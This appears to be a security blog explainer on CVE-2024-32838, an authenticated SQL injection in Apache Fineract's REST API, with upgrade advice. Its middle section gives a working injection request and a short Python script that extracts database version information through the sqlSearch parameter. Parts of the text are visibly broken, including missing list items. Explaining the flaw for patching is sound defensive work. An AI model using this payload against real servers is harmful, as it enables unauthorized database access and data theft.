In June 2024, a critical security vulnerability was disclosed in Apache Fineract (official advisory link), an open-source platform known for powering microfinance and digital lending solutions. The flaw, tracked as CVE-2024-32838, enables authenticated attackers to launch SQL Injection attacks through improperly sanitized query parameters across several REST API endpoints – such as those related to offices, dashboards, and more.

If you’re using Apache Fineract version 1.9 or earlier, you are at risk. Upgrading to version 1.10.1 is essential to prevent threat actors from exploiting this vulnerability.

Below, we break down how this attack works, what’s at risk, how it can be abused, and the proper mitigation steps. We also provide code samples for educational purposes.

Attacker logs in using valid credentials.

2. Attacker sends a specially crafted API request to an affected endpoint, injecting SQL commands via query parameters.

The database executes unintended, often malicious, SQL statements.

### Example: Attacking the /offices API Endpoint

Suppose you have a request like below to get office information

GET /fineract-provider/api/v1/offices?sqlSearch=office_id=1 HTTP/1.1
Host: your-fineract-server
Authorization: Basic YWRtaW46cGFzc3dvcmQ=

But what if the sqlSearch parameter doesn’t properly sanitize input? An attacker can abuse it like this:

GET /fineract-provider/api/v1/offices?sqlSearch=1=1%20OR%201=CAST((SELECT%20version())%20AS%20INT)-- HTTP/1.1
Host: your-fineract-server
Authorization: Basic YWRtaW46cGFzc3dvcmQ=

This simple Python script uses requests to exploit the sqli

import requests

url = "http://your-fineract-server/fineract-provider/api/v1/offices";
payload = {
    "sqlSearch": "1=1 OR 1=CAST((SELECT version()) AS INT)--"
}
headers = {
    "Authorization": "Basic YWRtaW46cGFzc3dvcmQ=" # base64 'admin:password'
}
r = requests.get(url, params=payload, headers=headers, verify=False)
print(r.text) # look for database info in the output!

It’s not just /offices – the same parameter problem affects other endpoints too

- /dashboards
- /clients
- /groups

Escalate their own privileges

Important: The attacker must be authenticated. That means they need *some* account, but not necessarily with high privileges!

Mitigation

Upgrade ASAP – The Fineract team released a fix in version 1.10.1. This introduces a SQL Validator that checks and blocks unsafe queries.

From the Apache Fineract security release notes

> "A SQL Validator has been implemented which allows us to configure a series of tests and checks against our SQL queries that will allow us to validate and protect against nearly all potential SQL injection attacks."

What You Should Do

1. Upgrade Fineract to 1.10.1 or newer – Download here

References

- Original Apache Security Advisory
- CVE Details page for CVE-2024-32838
- Apache Fineract GitHub Issue & Patch
- Official Fineract downloads

Conclusion

CVE-2024-32838 in Apache Fineract is a textbook case of how even authenticated API endpoints can become attack vectors through poor input validation. If you use Fineract at all, upgrading to 1.10.1 is absolutely necessary, and you should pay close attention to all search/filter parameters in your own APIs – they’re often overlooked yet extremely risky spots for SQL Injection.

Protect your data, your clients, and your reputation. Stay patched!


*Questions or need expert help? Join the Apache Fineract Community!*


(This article is exclusive content summarized and explained for the fintech and infosec community. Feel free to share, but always cite the original sources!)

Timeline

Published on: 02/12/2025 10:15:13 UTC
Last modified on: 03/04/2025 17:05:34 UTC